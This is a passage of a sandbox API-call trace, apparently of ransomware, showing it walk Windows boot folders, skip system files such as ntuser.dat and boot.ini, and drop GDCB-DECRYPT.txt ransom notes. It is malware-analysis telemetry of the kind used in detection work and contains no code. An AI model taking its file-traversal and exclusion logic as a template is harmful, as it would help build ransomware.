1 [0135.231] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2=".") returned 1 [0135.231] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2="..") returned 1 [0135.231] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned="C:\\Boot\\Fonts\\msyhn_boot.ttf" [0135.231] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.231] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0135.231] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0135.231] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.231] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.231] lstrcmpW (lpString1="msyh_boot.ttf", lpString2=".") returned 1 [0135.231] lstrcmpW (lpString1="msyh_boot.ttf", lpString2="..") returned 1 [0135.231] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyh_boot.ttf") returned="C:\\Boot\\Fonts\\msyh_boot.ttf" [0135.231] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.232] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0135.232] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0135.232] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.232] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.232] lstrcmpW (lpString1="segmono_boot.ttf", lpString2=".") returned 1 [0135.232] lstrcmpW (lpString1="segmono_boot.ttf", lpString2="..") returned 1 [0135.232] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segmono_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segmono_boot.ttf") returned="C:\\Boot\\Fonts\\segmono_boot.ttf" [0135.232] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.232] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0135.232] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0135.232] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.232] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.232] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2=".") returned 1 [0135.232] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2="..") returned 1 [0135.232] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoen_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned="C:\\Boot\\Fonts\\segoen_slboot.ttf" [0135.232] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.232] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0135.232] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0135.232] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.233] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.233] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2=".") returned 1 [0135.233] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2="..") returned 1 [0135.233] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoe_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned="C:\\Boot\\Fonts\\segoe_slboot.ttf" [0135.233] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.233] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0135.233] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0135.233] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.233] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.233] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0135.233] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0135.233] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned="C:\\Boot\\Fonts\\wgl4_boot.ttf" [0135.233] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.233] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0135.233] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0135.233] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.233] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.233] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.234] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.234] lstrcmpW (lpString1="fr-CA", lpString2=".") returned 1 [0135.234] lstrcmpW (lpString1="fr-CA", lpString2="..") returned 1 [0135.234] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-CA" | out: lpString1="C:\\Boot\\fr-CA") returned="C:\\Boot\\fr-CA" [0135.234] lstrcatW (in: lpString1="C:\\Boot\\fr-CA", lpString2="\\" | out: lpString1="C:\\Boot\\fr-CA\\") returned="C:\\Boot\\fr-CA\\" [0135.234] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.234] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.234] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.234] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.234] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.234] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.234] lstrlenW (lpString="C:\\Boot\\fr-CA\\") returned 14 [0135.234] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-CA\\*") returned="C:\\Boot\\fr-CA\\*" [0135.234] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c79c0 [0135.235] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.235] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.235] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.235] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.235] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.235] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.235] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.235] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned="C:\\Boot\\fr-CA\\bootmgr.exe.mui" [0135.235] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0135.235] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.235] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.235] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.235] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.235] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt" [0135.235] lstrlenW (lpString="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0135.235] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.235] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.235] FindClose (in: hFindFile=0x2c79c0 | out: hFindFile=0x2c79c0) returned 1 [0135.235] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.235] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\fr-CA\\\\GDCB-DECRYPT.txt") returned 31 [0135.235] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fr-ca\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.235] GetLastError () returned 0x50 [0135.235] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.235] lstrlenW (lpString="C:\\Boot\\fr-CA\\") returned 14 [0135.235] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-CA\\*") returned="C:\\Boot\\fr-CA\\*" [0135.236] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c76c0 [0135.236] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.236] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.236] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.236] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.236] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.236] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.236] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.236] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned="C:\\Boot\\fr-CA\\bootmgr.exe.mui" [0135.236] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.236] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0135.236] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29 [0135.236] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.236] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.236] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.236] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.236] lstrcatW (in: lpString1="C:\\Boot\\fr-CA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt" [0135.236] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.236] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0135.236] lstrlenW (lpString="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0135.236] lstrlenW (lpString="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0135.236] lstrlenW (lpString="C:\\Boot\\fr-CA\\GDCB-DECRYPT.txt") returned 30 [0135.236] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.236] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.236] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.236] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.236] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.236] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.236] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.237] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.237] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.237] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.237] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.237] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.237] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.237] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0135.237] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0135.237] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fr-FR" | out: lpString1="C:\\Boot\\fr-FR") returned="C:\\Boot\\fr-FR" [0135.237] lstrcatW (in: lpString1="C:\\Boot\\fr-FR", lpString2="\\" | out: lpString1="C:\\Boot\\fr-FR\\") returned="C:\\Boot\\fr-FR\\" [0135.237] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.237] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.237] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.237] lstrlenW (lpString="C:\\Boot\\fr-FR\\") returned 14 [0135.237] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-FR\\*") returned="C:\\Boot\\fr-FR\\*" [0135.237] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7980 [0135.238] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.238] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.238] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.238] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.238] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.238] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.238] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.238] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="C:\\Boot\\fr-FR\\bootmgr.exe.mui" [0135.238] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0135.238] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.238] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.238] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.238] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.238] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt" [0135.238] lstrlenW (lpString="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0135.238] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.238] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.238] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.238] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.238] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\memtest.exe.mui") returned="C:\\Boot\\fr-FR\\memtest.exe.mui" [0135.238] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0135.238] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.238] FindNextFileW (in: hFindFile=0x2c7980, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.238] FindClose (in: hFindFile=0x2c7980 | out: hFindFile=0x2c7980) returned 1 [0135.238] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.238] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\fr-FR\\\\GDCB-DECRYPT.txt") returned 31 [0135.238] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fr-fr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.239] GetLastError () returned 0x50 [0135.239] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.239] lstrlenW (lpString="C:\\Boot\\fr-FR\\") returned 14 [0135.239] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="*" | out: lpString1="C:\\Boot\\fr-FR\\*") returned="C:\\Boot\\fr-FR\\*" [0135.239] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7780 [0135.239] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.239] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.239] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.239] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.239] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.239] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.239] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.239] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned="C:\\Boot\\fr-FR\\bootmgr.exe.mui" [0135.239] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.239] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0135.239] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0135.239] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.240] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.240] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.240] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.240] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt" [0135.240] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.240] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0135.240] lstrlenW (lpString="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0135.240] lstrlenW (lpString="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0135.240] lstrlenW (lpString="C:\\Boot\\fr-FR\\GDCB-DECRYPT.txt") returned 30 [0135.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.240] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.240] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.240] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.240] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.240] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.240] lstrcatW (in: lpString1="C:\\Boot\\fr-FR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fr-FR\\memtest.exe.mui") returned="C:\\Boot\\fr-FR\\memtest.exe.mui" [0135.240] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.240] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0135.240] lstrlenW (lpString="C:\\Boot\\fr-FR\\memtest.exe.mui") returned 29 [0135.240] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.241] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.241] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.241] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.241] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.241] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.241] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\GDCB-DECRYPT.txt") returned="C:\\Boot\\GDCB-DECRYPT.txt" [0135.241] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.241] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0135.241] lstrlenW (lpString="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0135.241] lstrlenW (lpString="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0135.241] lstrlenW (lpString="C:\\Boot\\GDCB-DECRYPT.txt") returned 24 [0135.241] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.241] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.241] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.241] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.241] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.241] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.241] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.241] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.241] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.241] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.241] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.241] lstrcmpW (lpString1="hr-HR", lpString2=".") returned 1 [0135.241] lstrcmpW (lpString1="hr-HR", lpString2="..") returned 1 [0135.241] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="hr-HR" | out: lpString1="C:\\Boot\\hr-HR") returned="C:\\Boot\\hr-HR" [0135.241] lstrcatW (in: lpString1="C:\\Boot\\hr-HR", lpString2="\\" | out: lpString1="C:\\Boot\\hr-HR\\") returned="C:\\Boot\\hr-HR\\" [0135.241] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.241] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.242] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.242] lstrlenW (lpString="C:\\Boot\\hr-HR\\") returned 14 [0135.242] lstrcatW (in: lpString1="C:\\Boot\\hr-HR\\", lpString2="*" | out: lpString1="C:\\Boot\\hr-HR\\*") returned="C:\\Boot\\hr-HR\\*" [0135.242] 